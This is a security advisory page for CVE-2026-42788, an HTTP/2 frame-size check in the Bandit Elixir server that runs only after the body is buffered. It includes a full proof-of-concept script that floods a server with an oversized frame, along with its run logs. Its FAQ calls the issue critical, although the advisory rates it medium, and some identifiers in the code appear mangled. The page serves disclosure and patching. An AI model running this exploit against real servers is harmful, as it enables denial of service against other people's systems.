CVE-2026-42788: HTTP/2 frame size limit checked after body is buffered in bandit

Published May 1, 2026
·
Updated

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself. 2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB). 3. Polls for GOAWAY(FRAMESIZEERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, ::binary>> = msg, maxframesize) when length > maxframesize, do: {{:error, framesizeerror(), "..."}, dropframeorclose(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated maxframesize should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > maxframesize as soon as the 9 header bytes arrive, before the body-bearing clauses.

elixir Bandit HTTP/2 oversized-frame late-check PoC. RFC 9113 §6.5.2 sets the default SETTINGSMAXFRAMESIZE to 16384. Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this limit after matching payload::binary-size(length) in the frame pattern. When the announced length exceeds what the buffer holds, none of the body-bearing clauses match and deserialize/2 returns {:more, msg}, telling the caller to keep buffering. The oversize error in the "valid shape, length > maxframesize" clause therefore fires only after the entire announced body has been received — letting a peer trickle up to ~16 MiB per frame (the 24-bit length field maximum) into the server before the cap engages, well past the 16 KiB the server agreed to. This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips body bytes in 64 KiB chunks, and after each chunk does a brief non-blocking recv to see if the server has reacted. A patched server should send GOAWAY(FRAMESIZEERROR) within the first chunk (header alone is enough). A vulnerable server keeps silently accepting up to the full 16 MiB. We use a SETTINGS frame (type=0x4, streamid=0) for the abusive header — the parser never reaches dispatch (it's stuck buffering body), so the type and stream id are immaterial to the bug. Run: elixir scripts/bandit/http2framesizelatecheck.exs

Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])

defmodule NoopApp do @behaviour Plug def init(opts), do: opts def call(conn, opts), do: Plug.Conn.sendresp(conn, 200, "ok\n") end

defmodule FrameSizeLateCheck do @port 4321 @connectionpreface "PRI HTTP/2.0\r\n\r\nSM\r\n\r\n"

@typesettings 0x4 @typegoaway 0x7 @flagsettingsack 0x1

@max24bit 0xFFFFFF @dripchunksize 64 1024 @maxtotaldrip 4 1024 1024

def run do {:ok, } = Bandit.startlink(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

advertisedmaxframesize = handshake!(sock) log("Handshake complete. Server advertised maxframesize=#{advertisedmaxframesize}.")

abusiveheader = frameheader(@max24bit, @typesettings, 0, 0)

log( "Sending oversized SETTINGS header: length=#{@max24bit} " <> "(#{div(@max24bit, 1024 1024)} MiB) vs cap #{advertisedmaxframesize}." )

:ok = :gentcp.send(sock, abusiveheader)

case pollforreaction(sock, 200) do {:goaway, errorcode} -> log("Server sent GOAWAY on header alone: errorcode=#{errorcode} — patched.") finish(sock)

:silent -> log("Server silent after header. Beginning body drip…") driploop(sock, 0) end end

defp driploop(sock, totalsent) when totalsent >= @maxtotaldrip do log( "Drip cap reached: #{totalsent} bytes accepted with no server reaction. " <> "Server is buffering an oversized frame body well past maxframesize." )

finish(sock) end

defp driploop(sock, totalsent) do chunk = :binary.copy(<<0>>, @dripchunksize)

case :gentcp.send(sock, chunk) do :ok -> newtotal = totalsent + @dripchunksize

case pollforreaction(sock, 50) do {:goaway, errorcode} -> log( "After #{newtotal} body bytes (#{div(newtotal, 1024)} KiB) the server " <> "sent GOAWAY: errorcode=#{errorcode}." )

finish(sock)

:silent -> if rem(newtotal, 512 1024) == 0 do log("Dripped #{div(newtotal, 1024)} KiB so far, no reaction.") end

driploop(sock, newtotal) end

{:error, reason} -> log("Send failed at total=#{totalsent}: #{inspect(reason)}.") finish(sock) end end

defp pollforreaction(sock, timeoutms) do case :gentcp.recv(sock, 9, timeoutms) do {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} -> case recvpayload(sock, length, timeoutms) do {:ok, payload} when type == @typegoaway -> <<lastid::32, errorcode::32, debug::binary>> = payload {:goaway, errorcode}

{:ok, } -> :silent

{:error, } -> :silent end

{:error, :timeout} -> :silent

{:error, :closed} -> {:goaway, :connectionclosedwithoutgoaway} end end

defp finish(sock), do: :gentcp.close(sock)

# --- HTTP/2 handshake helpers ------------------------------------------

defp handshake!(sock) do :ok = :gentcp.send(sock, @connectionpreface) :ok = :gentcp.send(sock, buildsettingsframe(<<>>))

{:ok, serversettingsframe} = recvfullframe(sock, 5000) @typesettings = serversettingsframe.type advertisedmaxframesize = parsemaxframesize(serversettingsframe.payload)

:ok = :gentcp.send(sock, buildsettingsframe(<<>>, @flagsettingsack))

= drain(sock, 100) advertisedmaxframesize end

# SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries. # SETTINGSMAXFRAMESIZE has id=0x5; default per RFC 9113 is 16384. defp parsemaxframesize(payload), do: parsemaxframesize(payload, 16384) defp parsemaxframesize(<<>>, currentvalue), do: currentvalue

defp parsemaxframesize(<<0x5::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, value) end

defp parsemaxframesize(<<id::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, current) end

defp buildsettingsframe(payload, flags \\ 0) do frameheader(bytesize(payload), @typesettings, flags, 0) <> payload end

defp frameheader(length, type, flags, streamid) do <<length::24, type::8, flags::8, 0::1, streamid::31>> end

defp recvfullframe(sock, timeoutms) do with {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} <- :gentcp.recv(sock, 9, timeoutms), {:ok, payload} <- recvpayload(sock, length, timeoutms) do {:ok, %{length: length, type: type, flags: flags, streamid: streamid, payload: payload}} end end

defp recvpayload(sock, 0, timeoutms), do: {:ok, <<>>} defp recvpayload(sock, length, timeoutms), do: :gentcp.recv(sock, length, timeoutms)

defp drain(sock, timeoutms) do case :gentcp.recv(sock, 0, timeoutms) do {:ok, bytes} -> bytes <> drain(sock, timeoutms) {:error, } -> <<>> end end

defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end

FrameSizeLateCheck.run()

logs 17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [15:23:19.242] Handshake complete. Server advertised maxframesize=16384. [15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384. [15:23:19.444] Server silent after header. Beginning body drip… [15:23:19.857] Dripped 512 KiB so far, no reaction. [15:23:20.265] Dripped 1024 KiB so far, no reaction. [15:23:20.676] Dripped 1536 KiB so far, no reaction. [15:23:21.094] Dripped 2048 KiB so far, no reaction. [15:23:21.511] Dripped 2560 KiB so far, no reaction. [15:23:21.925] Dripped 3072 KiB so far, no reaction. [15:23:22.340] Dripped 3584 KiB so far, no reaction. [15:23:22.749] Dripped 4096 KiB so far, no reaction. [15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past maxframesize.

Other sources

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated memory exhaustion via oversized HTTP/2 frames.

'Elixir.Bandit.HTTP2.Frame':deserialize/2 in lib/bandit/http2/frame.ex checks the SETTINGSMAXFRAMESIZE limit only after pattern-matching payload::binary-size(length), which requires the entire frame body to be present in memory before either the accept or reject clause can fire. A peer that announces a frame length up to the 24-bit maximum (~16 MiB) causes the server to buffer that entire body before the size guard is evaluated, regardless of the maxframesize negotiated during the HTTP/2 handshake (default 16 KiB per RFC 9113).

An unauthenticated attacker holding many concurrent connections can force the server to buffer far more memory than the negotiated frame size limit should permit, leading to memory pressure and potential denial of service.

This issue affects bandit: from 0.3.6 before 1.11.0.

— MITRE

Affected Software

2 affected componentsFixes available
hexpm/bandit>=0.3.6<1.11.0
erlang/bandit>=0.3.5<1.11.0
1.11.0

Event History

May 1, 2026
CVE Published
via MITRE·08:34 PM
Data Sourced
via MITRE·08:34 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
May 7, 2026
Advisory Published
via GitHub·03:52 AM
Data Sourced
via GitHub·03:52 AM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42788?

CVE-2026-42788 is considered a critical vulnerability due to its potential for unauthenticated memory exhaustion via oversized HTTP/2 frames.

2

How do I fix CVE-2026-42788?

To fix CVE-2026-42788, update to Bandit version 1.11.0 or later, which includes a patch for the frame size limit check.

3

What type of vulnerability is CVE-2026-42788?

CVE-2026-42788 is classified as an Allocation of Resources Without Limits or Throttling vulnerability in Bandit.

4

Who is affected by CVE-2026-42788?

Users of Bandit versions from 0.3.6 up to 1.11.0 are affected by CVE-2026-42788.

5

What can happen if CVE-2026-42788 is exploited?

If exploited, CVE-2026-42788 can lead to memory exhaustion, potentially resulting in service denial and performance degradation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203